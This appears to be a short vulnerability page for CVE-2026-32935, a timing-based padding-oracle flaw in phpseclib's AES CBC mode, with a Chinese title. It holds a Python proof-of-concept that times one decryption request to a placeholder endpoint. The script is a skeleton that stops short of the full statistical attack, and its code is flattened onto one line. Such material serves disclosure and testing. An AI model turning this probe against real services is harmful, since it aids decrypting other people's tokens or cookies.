CVE-2026-32935 phpseclib AES CBC模式填充预言时序攻击漏洞

import requests import time # Target endpoint that decrypts data using vulnerable phpseclib TARGET_URL = "https://example.com/api/decrypt" # Example captured ciphertext (IV + Ciphertext) # Usually obtained from a cookie or token SAMPLE_CIPHERTEXT = "aabbccddeeff00112233445566778899..." def oracle_attack(ciphertext): """ Simulates a timing-based padding oracle attack. This function measures the time taken to process a ciphertext. A significant time difference may indicate a padding error vs successful decryption. """ headers = { "User-Agent": "PoC-Client/1.0", "Content-Type": "application/json" } payload = {"encrypted_data": ciphertext} try: start_time = time.perf_counter() response = requests.post(TARGET_URL, json=payload, headers=headers, timeout=5) end_time = time.perf_counter() elapsed_time = end_time - start_time # In a real padding oracle, we care about the response time or status code # Here we assume the vulnerable implementation leaks info via timing return elapsed_time, response.status_code except requests.exceptions.RequestException as e: print(f"Request failed: {e}") return None, None # Basic logic to test timing variations # In a real exploit, this would involve statistical analysis over many requests print(f"Testing ciphertext: {SAMPLE_CIPHERTEXT}") duration, status = oracle_attack(SAMPLE_CIPHERTEXT) if duration is not None: print(f"Response Time: {duration:.6f} seconds, Status: {status}")